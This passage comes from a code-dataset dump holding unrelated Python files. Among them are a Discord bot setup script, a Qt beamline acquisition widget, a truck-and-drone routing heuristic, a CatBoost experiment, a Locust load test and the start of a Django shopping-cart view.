\\u001b[0m\")\nprint(\"\\u001b[32;1mServer IP entered: \\u001b[0m\"+serverIp+\"\\n\")\n\n\nendOfSetup = print(\"You have come to the end of the setup\\na file will now be created for your server with some basic commands\")\n\nf = open(\"bot.py\", \"rt\")\ndata = f.read()\ndata = data.replace('BotTokenHere', botToken)\nf.close()\nf = open(\"bot.py\", \"wt\")\nf.write(data)\nf.close()\n\nd = open(\"bot.py\", \"rt\")\ndata2 = d.read()\ndata2 = data2.replace('PrefixHere', botPrefix)\nd.close()\nd = open(\"bot.py\", \"wt\")\nd.write(data2)\nd.close()\n\na = open(\"bot.py\", \"rt\")\ndata4 = a.read()\ndata4 = data4.replace('ServerIPHere', serverIp)\na.close()\na = open(\"bot.py\", \"wt\")\na.write(data4)\na.close()\n\nprint(\"The Discord.py library will now be installed! and your bot will be launched\")\n\ninstallDiscordPY = os.system('pip install discord.py')\n\nrunTesting = os.system('python bot.py')\n\n\n\n\n\n","sub_path":"Version1.3/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447000435","text":"import re\nfrom glob import glob\nfrom pathlib import Path\n\nimport pytest\n\n\n@pytest.mark.parametrize(\n \"fname\",\n [\n f\n for f in glob(\"**/*.md\", recursive=True)\n if \"_build\" not in f and Path(f).read_text(encoding=\"utf-8\").startswith(\"---\")\n ],\n)\ndef test_doc_code_cells(fname, qapp, globalns=globals()):\n \"\"\"Make sure that all code cells in documentation perform as expected.\"\"\"\n text = Path(fname).read_text()\n code_cells = re.findall(r\"```{code-cell}[^\\n]+\\n(.*?)`{3}\", text, re.S)\n for cell in code_cells:\n nontags = [ln for ln in cell.splitlines() if not ln.startswith(\":tags:\")]\n cell = \"\\n\".join(nontags)\n header = re.search(r\"-{3}(.+?)-{3}\", cell, re.S)\n if header:\n print(\"header\", header)\n cell = cell.replace(header.group(), \"\")\n if \"warns\" in header.group():\n with pytest.warns(None):\n exec(cell, globalns)\n continue\n if \"raises-exception\" in header.group():\n with pytest.raises(Exception):\n exec(cell, globalns)\n continue\n exec(cell, globalns)\n for window in qapp.topLevelWindows():\n try:\n window.close()\n except Exception:\n pass\n","sub_path":"test_docs.py","file_name":"test_docs.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"379474721","text":"#\n# Project: MXCuBE\n# https://github.com/mxcube.\n#\n# This file is part of MXCuBE software.\n#\n# MXCuBE is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# MXCuBE is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with MXCuBE. If not, see .\n\nimport os\n\nfrom PyQt4 import QtGui\nfrom PyQt4 import QtCore\nfrom PyQt4 import uic\n\nimport queue_model_objects_v1 as queue_model_objects\nfrom widgets.Qt4_widget_utils import DataModelInputBinder\n\n\nclass AcquisitionWidgetSimple(QtGui.QWidget):\n \"\"\"\n Descript. :\n \"\"\"\n def __init__(self, parent = None, name = None, fl = 0, acq_params = None, \n path_template = None, layout = None):\n \"\"\"\n Descript. :\n \"\"\" \n\n QtGui.QWidget.__init__(self, parent, QtCore.Qt.WindowFlags(fl))\n if name is not None:\n self.setObjectName(name)\n\n # Hardware objects ----------------------------------------------------\n self._beamline_setup_hwobj = None\n\n # Internal variables --------------------------------------------------\n self.enable_parameter_update = True\n\n # Properties ---------------------------------------------------------- \n\n # Signals -------------------------------------------------------------\n\n # Slots ---------------------------------------------------------------\n\n # Graphic elements ----------------------------------------------------\n if acq_params is None:\n self._acquisition_parameters = queue_model_objects.AcquisitionParameters()\n else:\n self._acquisition_parameters = acq_params\n if path_template is None:\n self._path_template = queue_model_objects.PathTemplate()\n else:\n self._path_template = path_template\n\n self._acquisition_mib = DataModelInputBinder(self._acquisition_parameters)\n self.acq_widget_layout = uic.loadUi(os.path.join(os.path.dirname(\\\n __file__), \"ui_files/Qt4_acquisition_widget_vertical_simple_layout.ui\"))\n\n # Layout --------------------------------------------------------------\n main_layout = QtGui.QVBoxLayout(self)\n main_layout.addWidget(self.acq_widget_layout)\n main_layout.setSpacing(0)\n main_layout.setContentsMargins(0, 0, 0, 0)\n\n # SizePolicies --------------------------------------------------------\n\n # Qt signal/slot connections ------------------------------------------\n self.acq_widget_layout.num_images_cbox.activated.connect(\\\n self.update_num_images)\n self.acq_widget_layout.detector_roi_mode_combo.activated.connect(\\\n self.detector_roi_mode_changed)\n\n # Other ---------------------------------------------------------------\n self.energy_validator = QtGui.QDoubleValidator(0, 25, 5, self)\n self.resolution_validator = QtGui.QDoubleValidator(0, 15, 3, self)\n self.transmission_validator = QtGui.QDoubleValidator(0, 100, 3, self)\n self.exp_time_validator = QtGui.QDoubleValidator(0, 10000, 5, self)\n #self.acq_widget_layout.osc_start_ledit.setEnabled(False)\n #self.acq_widget_layout.kappa_ledit.setEnabled(False)\n #self.acq_widget_layout.kappa_phi_ledit.setEnabled(False) \n self.acq_widget_layout.num_images_cbox.setCurrentIndex(1)\n\n self.acq_widget_layout.detector_roi_mode_label.setEnabled(False)\n self.acq_widget_layout.detector_roi_mode_combo.setEnabled(False)\n\n def set_enable_parameter_update(self, state):\n self.enable_parameter_update = state\n\n def update_osc_start(self, new_value):\n \"\"\"\n Descript. :\n \"\"\"\n if self.enable_parameter_update:\n osc_start_value = 0\n try:\n osc_start_value = round(float(new_value), 2)\n except TypeError:\n pass\n self.acq_widget_layout.osc_start_ledit.setText(\\\n \"%.2f\" % osc_start_value)\n #self._acquisition_parameters.osc_start = osc_start_value\n\n def update_kappa(self, new_value):\n \"\"\"\n Descript. :\n \"\"\"\n if self.enable_parameter_update:\n self.acq_widget_layout.kappa_ledit.setText(\\\n \"%.2f\" % float(new_value))\n\n def update_kappa_phi(self, new_value):\n \"\"\"\n Descript. :\n \"\"\"\n if self.enable_parameter_update:\n self.acq_widget_layout.kappa_phi_ledit.setText(\\\n \"%.2f\" % float(new_value))\n\n def use_kappa(self, state):\n \"\"\"\n Descript. :\n \"\"\"\n self.acq_widget_layout.kappa_ledit.setDisabled(state)\n\n def use_kappa_phi(self, state):\n \"\"\"\n Descript. :\n \"\"\"\n self.acq_widget_layout.kappa_phi_ledit.setDisabled(state)\n \n def update_num_images(self, index = None, num_images = None):\n \"\"\"\n Descript. :\n \"\"\"\n if index is not None:\n if index is 0:\n self._acquisition_parameters.num_images = 1\n self._path_template.num_files = 1\n elif index is 1:\n self._acquisition_parameters.num_images = 2\n self._path_template.num_files = 2\n elif index is 2:\n self._acquisition_parameters.num_images = 4\n self._path_template.num_files = 4\n\n if num_images:\n if self.acq_widget_layout.num_images_cbox.count() > 3:\n self.acq_widget_layout.num_images_cbox.removeItem(4)\n \n if num_images is 1:\n self.acq_widget_layout.num_images_cbox.setCurrentIndex(0) \n elif num_images is 2:\n self.acq_widget_layout.num_images_cbox.setCurrentIndex(1)\n elif num_images is 4:\n self.acq_widget_layout.num_images_cbox.setCurrentIndex(2)\n else:\n self.acq_widget_layout.num_images_cbox.addItem(str(num_images))\n self.acq_widget_layout.num_images_cbox.setCurrenIndex(3)\n\n self._path_template.num_files = num_images\n\n def use_mad(self, state):\n \"\"\"\n Descript. :\n \"\"\"\n pass\n\n def get_mad_energy(self):\n \"\"\"\n Descript. :\n \"\"\"\n pass\n\n def set_energies(self, energy_scan_result):\n \"\"\"\n Descript. :\n \"\"\"\n pass\n\n def energy_selected(self, index):\n \"\"\"\n Descript. :\n \"\"\"\n pass\n\n def set_beamline_setup(self, beamline_setup):\n \"\"\"\n Descript. :\n \"\"\"\n self._beamline_setup_hwobj = beamline_setup\n limits_dict = self._beamline_setup_hwobj.get_acquisition_limit_values()\n if 'osc_range' in limits_dict:\n limits = tuple(map(float, limits_dict['osc_range'].split(',')))\n (lower, upper) = limits\n osc_start_validator = QtGui.QDoubleValidator(lower, upper, 4, self)\n osc_range_validator = QtGui.QDoubleValidator(lower, upper, 4, self)\n else:\n osc_start_validator = QtGui.QDoubleValidator(-10000, 10000, 4, self)\n osc_range_validator = QtGui.QDoubleValidator(-10000, 10000, 4, self)\n\n self._acquisition_mib.bind_value_update('osc_start', \n self.acq_widget_layout.osc_start_ledit,\n float, \n osc_start_validator)\n\n self._acquisition_mib.bind_value_update('osc_range', \n self.acq_widget_layout.osc_range_ledit,\n float, \n osc_range_validator)\n\n kappa_validator = QtGui.QDoubleValidator(-30, 180, 2, self)\n self._acquisition_mib.bind_value_update('kappa', \n self.acq_widget_layout.kappa_ledit,\n float, \n kappa_validator)\n\n kappa_phi_validator = QtGui.QDoubleValidator(-30, 180, 2, self)\n self._acquisition_mib.bind_value_update('kappa_phi', \n self.acq_widget_layout.kappa_phi_ledit,\n float, \n kappa_phi_validator)\n\n self._acquisition_mib.bind_value_update('exp_time',\n self.acq_widget_layout.exp_time_ledit,\n float, \n self.exp_time_validator)\n\n self._acquisition_mib.\\\n bind_value_update('energy',\n self.acq_widget_layout.energy_ledit,\n float,\n self.energy_validator)\n self.acq_widget_layout.energy_ledit.setToolTip(\\\n \"Energy limits %0.3f : %0.3f\" % \\\n (self.energy_validator.bottom(), self.energy_validator.top()))\n\n self._acquisition_mib.\\\n bind_value_update('transmission',\n self.acq_widget_layout.transmission_ledit,\n float,\n self.transmission_validator)\n\n self._acquisition_mib.\\\n bind_value_update('resolution',\n self.acq_widget_layout.resolution_ledit,\n float,\n self.resolution_validator)\n \n self.set_tunable_energy(beamline_setup.tunable_wavelength())\n\n def set_energy(self, energy, wav):\n \"\"\"\n Descript. :\n \"\"\"\n #self._acquisition_parameters.energy = energy\n if self.enable_parameter_update:\n self.acq_widget_layout.energy_ledit.setText(\\\n \"%.4f\" % float(energy))\n\n def update_transmission(self, transmission):\n \"\"\"\n Descript. :\n \"\"\"\n if self.enable_parameter_update:\n self.acq_widget_layout.transmission_ledit.setText(\\\n \"%.2f\" % float(transmission))\n #self._acquisition_parameters.transmission = float(transmission)\n\n def update_resolution(self, resolution):\n \"\"\"\n Descript. :\n \"\"\"\n if self.enable_parameter_update:\n self.acq_widget_layout.resolution_ledit.setText(\"%.3f\" % float(resolution))\n #self._acquisition_parameters.resolution = float(resolution)\n\n def update_energy_limits(self, limits):\n \"\"\"\n Descript. :\n \"\"\"\n if limits:\n self.energy_validator.setBottom(limits[0])\n self.energy_validator.setTop(limits[1])\n self.acq_widget_layout.energy_ledit.setToolTip(\n \"Energy limits %0.3f : %0.3f\" %(limits[0], limits[1]))\n self._acquisition_mib.validate_all()\n\n def update_transmission_limits(self, limits):\n \"\"\"\n Descript. :\n \"\"\"\n if limits:\n self.transmission_validator.setBottom(limits[0])\n self.transmission_validator.setTop(limits[1])\n self.acq_widget_layout.transmission_ledit.setToolTip(\n \"Transmission limits %0.3f : %0.3f\" %(limits[0], limits[1]))\n self._acquisition_mib.validate_all()\n\n def update_resolution_limits(self, limits):\n \"\"\"\n Descript. :\n \"\"\"\n if limits:\n self.resolution_validator.setBottom(limits[0])\n self.resolution_validator.setTop(limits[1])\n self.acq_widget_layout.resolution_ledit.setToolTip(\n \"Resolution limits %0.3f : %0.3f\" %(limits[0], limits[1]))\n self._acquisition_mib.validate_all()\n\n def update_detector_exp_time_limits(self, limits):\n \"\"\"\n Descript. :\n \"\"\"\n if limits:\n self.exp_time_validator.setBottom(limits[0])\n self.exp_time_validator.setTop(limits[1])\n self.acq_widget_layout.exp_time_ledit.setToolTip(\n \"Exposure time limits %0.3f : %0.3f\" %(limits[0], limits[1]))\n self._acquisition_mib.validate_all()\n\n def init_detector_roi_modes(self):\n \"\"\"\n Descript. :\n \"\"\"\n if self._beamline_setup_hwobj is not None:\n roi_modes = self._beamline_setup_hwobj._get_roi_modes()\n if (len(roi_modes) > 0 and\n self.acq_widget_layout.detector_roi_mode_combo.count() == 0):\n for roi_mode in roi_modes: \n self.acq_widget_layout.detector_roi_mode_combo.\\\n addItem(roi_mode)\n self.acq_widget_layout.detector_roi_mode_label.setEnabled(True)\n self.acq_widget_layout.detector_roi_mode_combo.setEnabled(True)\n #self._acquisition_mib.bind_value_update('detector_roi_mode',\n # self.acq_widget_layout.detector_roi_mode_combo,\n # str,\n # None)\n\n def update_detector_roi_mode(self, roi_mode_index):\n \"\"\"\n Descript. :\n \"\"\"\n if self.acq_widget_layout.detector_roi_mode_combo.count() > 0:\n self.acq_widget_layout.detector_roi_mode_combo.\\\n setCurrentIndex(roi_mode_index)\n\n def detector_roi_mode_changed(self, roi_mode_index):\n \"\"\"\n Descript. :\n \"\"\"\n if self._beamline_setup_hwobj is not None:\n self._beamline_setup_hwobj.detector_hwobj.set_roi_mode(roi_mode_index)\n \n def update_data_model(self, acquisition_parameters, path_template):\n \"\"\"\n Descript. :\n \"\"\"\n self._acquisition_parameters = acquisition_parameters\n self._acquisition_mib.set_model(acquisition_parameters)\n self._path_template = path_template\n self.update_num_images(None, acquisition_parameters.num_images)\n\n def set_tunable_energy(self, state):\n \"\"\"\n Descript. :\n \"\"\"\n self.acq_widget_layout.energy_ledit.setEnabled(state)\n\n def use_osc_start(self, state):\n \"\"\"\n Descript. :\n \"\"\"\n self.acq_widget_layout.osc_start_ledit.setEnabled(state)\n\n def check_parameter_conflict(self):\n \"\"\"\n Descript. :\n \"\"\"\n return len(self._acquisition_mib.validate_all()) > 0\n","sub_path":"Bricks/widgets/Qt4_acquisition_widget_simple.py","file_name":"Qt4_acquisition_widget_simple.py","file_ext":"py","file_size_in_byte":14753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385646423","text":"import numpy as np\n\n# Load camera and IMU calibration information\nimport calibration as calib\nimport os\nimport IO # For reading and writing data\nfrom utils import *\nfrom PIL import Image\nfrom visualize import plotBlurVectors\nfrom computeR import IMUComputeH, PhoneIMUComputeH\n\ndef save_blurField(img, outpath, folder, imgName):\n img = Image.fromarray(img.astype(np.uint8))\n img.save(outpath + '/' + folder + '/' + imgName)\n\nif __name__ == '__main__':\n\n inpath, outpath = IO.parseInputs()\n print(\"Input folder: %s\" %inpath)\n if not os.path.exists(outpath):\n os.makedirs(outpath + '/blurred')\n os.makedirs(outpath + '/blurx')\n os.makedirs(outpath + '/blury')\n #os.makedirs(outpath + '/visualization/')\n\n ''' Generate blur field for each image '''\n\n # f_test = open(\"./dataset/AidedDeblur/test_instance_names.txt\", \"r\")\n f_test = open(\"./real_images/real_image_names.txt\", \"r\")\n imgsName = f_test.readlines()\n imgsName = [line.rstrip() for line in imgsName]\n f_test.close()\n imgsName = sorted(imgsName)\n\n for i, imgName in enumerate(imgsName):\n print(\"Processing image: {}\".format(imgName))\n # img = Image.open(imgName + '_blur_err.png').convert('RGB') # for DeblurIMU dataset\n img = Image.open(imgName + '.png').convert('RGB')\n img = np.array(img)\n # R_computer = IMUComputeH(imgName) # for DeblurIMU dataset\n R_computer = PhoneIMUComputeH(imgName, img.shape)\n\n R = R_computer.compute_rotations()\n R = np.array(R) # rotation matrix (index, 3, 3)\n\n K = R_computer.intrinsicMat # intrinsic matrix\n time_stamp = R_computer.time_stamp # number of poses\n height = R_computer.image_H\n width = R_computer.image_W\n tr = R_computer.read_out\n te = R_computer.exposure\n\n Bx, By = computeBlurfield_aided(R, K, time_stamp, te, tr, height, width)\n save_blurField(img, outpath, 'blurred/', imgName[-6:]+'_blur_err.png')\n save_blurField(Bx, outpath, 'blurx/', imgName[-6:]+'_blur_err.png')\n save_blurField(By, outpath, 'blury/', imgName[-6:]+'_blur_err.png')\n \n #plotBlurVectors(Bx, By, img, outpath, idx=i) # Optional\n\n# python generate_aided.py -i ./myrawdata -o ./input","sub_path":"preprocess/generate_aided.py","file_name":"generate_aided.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583952816","text":"\"\"\"\n__info: This file is to convert Vietnamese summarization raw data into tokenized chunks for summarization model.\n This file is modified and mostly borrowed code from https://github.com/becxer/cnn-dailymail/\n Added some modifications to adapt to Vietnamese dataset (https://github.com/ThanhChinhBK/vietnews/blob/master/data/)\n__original-author__ = \"Abigail See\" + converted to python3 by Becxer\n__modified-author__ = \"Vy Thai\"\n__email__ = \"vythai@stanford.edu\"\n\"\"\"\n\nimport tensorflow as tf\nfrom tensorflow.core.example import example_pb2\nimport sys\nimport os\nimport hashlib\nimport struct\nimport subprocess\nimport collections\nimport tensorflow as tf\nfrom tensorflow.core.example import example_pb2\nfrom os import listdir\nimport collections\nimport pandas as pd\nimport collections\nfrom collections import Counter\nimport random\nfrom itertools import islice\n\nfinished_files_dir = \"finished_files\"\n\nSENTENCE_START = ''\nSENTENCE_END = ''\nVOCAB_SIZE = 200000\nCHUNK_SIZE = 1000 # num examples per chunk, for the chunked data\ndm_single_close_quote = u'\\u2019' # unicode\ndm_double_close_quote = u'\\u201d'\nEND_TOKENS = ['.', '!', '?', '...', \"'\", \"`\", '\"', dm_single_close_quote, dm_double_close_quote, \")\"] # acceptable ways to end a sentence\nchunks_dir = os.path.join(finished_files_dir, \"chunked\")\n\n\ndef read_data_csv(path):\n data_orig = pd.read_csv(path, header=0)\n data = list(data_orig.file_name)\n list_ = [1290, 281, 717, 4772, 1982, 705, 2524]\n #list_ = {4: 4772, 7: 2524, 5: 1982, 1: 1290, 3: 717, 6: 705, 2: 281})\n\n assert(len(data) == 12271)\n temp = iter(data)\n res = [list(islice(temp, 0, ele)) for ele in list_]\n assert(len(res) == 7)\n\n list_1 = res[0]\n list_2 = res[1]\n list_3 = res[2]\n list_4 = res[3]\n list_5 = res[4]\n list_6 = res[5]\n list_7 = res[6]\n\n chosen_1 = random.sample(list_1, 164)\n chosen_2 = random.sample(list_2, 37)\n chosen_3 = random.sample(list_3, 80)\n chosen_4 = random.sample(list_4, 592)\n chosen_5 = random.sample(list_5, 239)\n chosen_6 = random.sample(list_6, 81)\n chosen_7 = random.sample(list_7, 340)\n\n total_change = chosen_1 + chosen_2 + chosen_3 + chosen_4 + chosen_5 + chosen_6 + chosen_7\n assert(len(total_change) == len(set(total_change)))\n\n #change items in csv files\n for i in total_change:\n data_orig['file_name'] = data_orig['file_name'].replace({i: \"val_\"+i})\n os.rename(directory+i, directory+\"val_\" +i)\n\n data_orig.to_csv(\"basic/EmoLabel/NEW_updated_train_val.csv\", index=False)\n\n\n\n \"\"\"\n size_list = len(data)\n length_counts = Counter(word for word in data)\n print(length_counts)\n\n data = set(data)\n size_set = len(data)\n print('Size list labels: ', size_list, \"Size set labels: \", size_set)\n #assert(size_list == size_set)\n \"\"\"\n\n\n\n return data\n# This function is to take dir and load data and process them.\ndef read_images_name(directory):\n documents = listdir(directory)\n size_list = len(documents)\n\n documents = set(documents)\n size_set = len(documents)\n print('Size list pics: ', size_list, \"Size set pics: \", size_set)\n\n #assert(size_list == size_set)\n\n return documents\n\ndef remove(dir):\n for i in dir:\n os.remove(directory + i)\n\n\ndirectory = 'basic/Image/aligned/'\npath = 'basic/label/train_label.csv'\n#print(stories[1]['highlights'])\ndef testing(path, dir):\n data_orig = pd.read_csv(path, header=0)\n data = list(data_orig.label)\n size_list = len(data)\n length_counts = Counter(word for word in data)\n print(length_counts)\n\n data = set(data)\n size_set = len(data)\n print('Size list labels: ', size_list, \"Size set labels: \", size_set)\n # assert(size_list == size_set)\nif __name__ == '__main__':\n #labels = read_data_csv(path)\n testing(path, directory)\n #images = read_images_name(directory)\n\n #intersec = labels & images\n #print(len(intersec))\n #labels_diff = labels - intersec\n #images_diff = images - intersec\n\n #print(\"Different labels: \", labels_diff)\n #print(\"Different images: \", images_diff)\n #remove(images_diff)\n\n","sub_path":"data_cleaning.py","file_name":"data_cleaning.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79943896","text":"a = 6\r\nb = 100\r\n\r\n# 解法1:使用其他变量\r\n# tmp = a\r\n# a= b\r\n# b = tmp\r\n\r\n# 解法2: 不使用其他变量\r\n# a = a + b\r\n# b = a - b\r\n# a = a - b\r\n\r\n# 解法3 :python 专享\r\n#a,b = (b,a)\r\n# 提示:等号右边是一个元组,只是把小括号省略了\r\na,b = b,a\r\n\r\nprint(\"a = %d\" % a)\r\nprint(\"b = %d\" %b )","sub_path":"07_语法进阶/sin_06_交换数字.py","file_name":"sin_06_交换数字.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45078495","text":"#region\n#IMPORTAZIONE LIBRERIE\nimport re #Libreria per leggere i file dati in input\nimport networkx as nx #Libreria per costruire grafo\nfrom matplotlib import pyplot as plt\nimport math\nfrom networkx.classes.function import neighbors \nimport numpy as np \nfrom typing import Any, List\nimport time\n\nstart = time.time()\n\n\n#region\nclass CustomError_noedges(Exception):\n def __init__(self,*args):\n if args:\n self.message = args[0]\n else:\n self.message = None\n \n def __str__(self):\n print(\"Nessun arco tra questi nodi:\"+(self.message))\n if self.message:\n return \"Nessun arco tra questi nodi:\"+(self.message)\n else:\n return \"base has edge error custom\"\n\nclass Custom_Graph(nx.Graph):\n def custom_remove_edge(self,node1,node2):\n if self.has_edge(node1,node2):\n self.remove_edge(node1,node2)\n elif self.has_edge(node2,node1):\n self.remove_edge(node2,node1)\n else:\n raise CustomError_noedges(str(node1)+\" \"+str(node2))\n \n#classe per salvare i sotto cicli del drone\nclass Visited_node_drone:\n def __init__(self, index, trip_number):\n self.index = index\n self.trip_number = trip_number\n\ndef print_graph_for_debug():\n graph_total = nx.compose(graph_drone, graph_truck)\n edges = graph_total.edges()\n colors = [graph_total[u][v]['color'] for u,v in edges]\n \n #creo i colori dei nodi\n color_map=[]\n for node in graph_total:\n \n if (node == truck_node_index): \n color_map.append('red')\n elif (node in visited_list_truck_indexes): \n color_map.append('white')\n else: \n color_map.append('green') \n #colori degli archi aggiunti ogni volta vh faccio add edge\n\n plt.clf() #clearo il grafico precedente\n nx.draw(graph_total,points,font_size=10, node_size=200,with_labels=True, arrowsize=20,edge_color=colors,node_color=color_map) # create a graph with the tour\n #per stampare le distanze nx.draw_networkx_edge_labels(Grafo, pos)\n \n plt.show() # display it interactively \n\ndef compute_visited_list_truck():\n visited_list_truck_indexes_1=[node1 for node1,node2 in graph_truck.edges]\n visited_list_truck_indexes_2=[node2 for node1,node2 in graph_truck.edges]\n visited_list_truck_indexes=visited_list_truck_indexes_1+visited_list_truck_indexes_2\n visited_list_truck_indexes=list(set(visited_list_truck_indexes))\n return visited_list_truck_indexes\n\ndef compute_visited_list():\n visited_list_truck_indexes_1=[node1 for node1,node2 in graph_truck.edges]\n visited_list_truck_indexes_2=[node2 for node1,node2 in graph_truck.edges]\n visited_list_truck_indexes_3=[node1 for node1,node2 in graph_drone.edges]\n visited_list_truck_indexes_4=[node2 for node1,node2 in graph_drone.edges]\n visited_list_truck_indexes=visited_list_truck_indexes_1+visited_list_truck_indexes_2+visited_list_truck_indexes_3+visited_list_truck_indexes_4\n visited_list_truck_indexes=list(set(visited_list_truck_indexes))\n return visited_list_truck_indexes\n#Ricerca del nodo più vicino \ndef nearest_node(neighbors_distance,visited_list_indexes):\n first_time=1\n for i in range(1,len(neighbors_distance)): \n #se la distanza non è zero e il nodo non è nella lista dei visitati\n if(not(i in visited_list_indexes)):\n actual_value=neighbors_distance[i]\n actual_index=i\n\n if(first_time):\n min_value=actual_value\n min_index=actual_index\n first_time=0\n\n if(actual_value=cost_routes[1][0]):\n return cost_routes[0]\n else:\n return cost_routes[1]\n\ndef drone_Cristofides_trip():\n global visited_list_indexes\n best_trip_score=0\n first_time=1\n global drone_trip_counter\n trip_counter_best=0\n #prendo tutti gli archi disponibili nel percorso del truck e vedo quello ceh fa percorrere piu strada al drone\n for node1,node2 in graph_truck.edges:\n if([node1,node2] not in truck_locked_edges):\n graph_drone.add_edge(node1,node2,length=round(dist_drone[node1][node2],2),color='#97E5FF')\n visited_list_drone.append(Visited_node_drone(node1,drone_trip_counter))\n visited_list_drone.append(Visited_node_drone(node2,drone_trip_counter))\n\n cost=compute_drone_cost_new(drone_trip_counter)\n weight=compute_drone_weight(drone_trip_counter)\n\n while(cost<=drone_autonomy and weight<=capacity and len(visited_list_indexes)best_trip_score or first_time:\n best_trip_score=trip_score\n node1_start_best=node1\n node2_start_best=node2\n trip_counter_best=drone_trip_counter\n first_time=0\n\n revert_this_trip(drone_trip_counter)\n #print_graph_for_debug()\n drone_trip_counter+=1\n \n #ora che ho trovato il migliore lo confermo\n graph_drone.add_edge(node1_start_best,node2_start_best,length=round(dist_drone[node1_start_best][node2_start_best],2),color='b')\n visited_list_drone.append(Visited_node_drone(node1_start_best,trip_counter_best))\n visited_list_drone.append(Visited_node_drone(node2_start_best,trip_counter_best))\n cost=compute_drone_cost_new(trip_counter_best)\n weight=compute_drone_weight(drone_trip_counter)\n #e blocco l arco del truck\n truck_locked_edges.append([node1_start_best,node2_start_best])\n\n while(cost<=drone_autonomy and weight<=capacity and len(visited_list_indexes)3):\n graph_truck.custom_remove_edge(node1_best,node2_best)\n\n #print_graph_for_debug()\n\n\n #CICLO DEL DRONE\n if(len(visited_list_indexes)3):\n graph_truck.custom_remove_edge(node1_best,node2_best)\n\n #print_graph_for_debug()\n\n\n #CICLO DEL DRONE\n if(len(visited_list_indexes) 50)*1\ndata[\"macd\"] = (data[\"macd\"] > 50)*1\ndata[\"momentum\"] = (data[\"momentum\"] > 0)*1\n# rsi:50\n# macd:50\n# 下根K线涨跌作为预测指标\n# momentum:0\ncols = [\"rsi\", \"macd\", \"momentum\"]\nfor item in cols:\n data[item] = data[item].astype(\"category\").cat.codes + 1\n\ntrain, test, y_train, y_test = train_test_split(data.drop([\"values\"], axis=1), data[\"values\"],\n random_state=0, test_size=0.3)\nimport catboost as cb\n\ncat_features_index = [5, 6, 7, 8, 9, 10, 11]\n\n\ndef auc(m, train, test):\n return (metrics.roc_auc_score(y_train, m.predict_proba(train)[:, 1]),\n metrics.roc_auc_score(y_test, m.predict_proba(test)[:, 1]))\n\n\nparams = {'depth': [4, 7, 10],\n 'learning_rate': [0.03, 0.1, 0.15],\n 'l2_leaf_reg': [1, 4, 9],\n 'iterations': [300],\n 'plot':['True']}\n\n# cb = cb.CatBoostClassifier()\n# cb_model = GridSearchCV(cb, params, scoring=\"roc_auc\", cv=3)\n# cb_model.fit(train, y_train)\n\n# # With Categorical features\n# clf = cb.CatBoostClassifier(eval_metric=\"AUC\", depth=10, iterations=500, l2_leaf_reg=9, learning_rate=0.15)\n# clf.fit(train, y_train)\n# auc(clf, train, test)\n\n# With Categorical features\n\nclf = cb.CatBoostClassifier(eval_metric=\"AUC\", one_hot_max_size=50,depth=10, iterations=500, l2_leaf_reg=9, learning_rate=0.15)\nclf.fit(train, y_train, cat_features=cat_features_index)\nauc(clf, train, test)\n","sub_path":"CatBoostTest.py","file_name":"CatBoostTest.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468701575","text":"import time\r\nfrom locust import HttpUser, task, between\r\n\r\n\r\nclass QuickstartUser(HttpUser):\r\n wait_time = between(1, 2)\r\n\r\n @task\r\n def index_page(self):\r\n self.client.get(\"/\")\r\n self.client.get(\"/\")\r\n\r\n @task(3)\r\n def view_item(self):\r\n for item_id in range(10):\r\n self.client.get(f\"/calc/sum?m={item_id}&n={42}\", name=\"/calc/sum\")\r\n time.sleep(1)\r\n","sub_path":"5_lab_testing/calcSkeleton/locustfile.py","file_name":"locustfile.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513874546","text":"from setuptools import setup, find_packages\n\nversion = '0.7.0'\nlong_description = '\\n\\n'.join([open('README.rst').read(),\n open('CHANGES.txt').read(),\n open('TODO.txt').read()])\n\nsetup(\n name='pep8',\n version=version,\n description=\"Python style guide checker\",\n long_description=long_description,\n keywords='pep8',\n author='Johann C. Rocholl',\n author_email='johann@rocholl.net',\n url='http://github.com/jcrocholl/pep8',\n license='Expat license',\n py_modules=['pep8'],\n namespace_packages=[],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n # -*- Extra requirements: -*-\n ],\n entry_points={\n 'console_scripts': [\n 'pep8 = pep8:_main',\n ],\n },\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126334246","text":"from django.shortcuts import get_object_or_404, redirect, render\nfrom django.views.decorators.http import require_POST\n\nfrom cart.cart import Cart\nfrom cart.forms import CartAddProductForm\nfrom shop.models import Product\n\n\n@require_POST # обернули функцию cart_add() декоратором require_POST, чтобы обратиться к ней можно было только\n# методом POST\ndef cart_add(request, product_id):\n cart = Cart(request)\n product = get_object_or_404(Product, id=product_id)\n form = CartAddProductForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n cart.add(\n 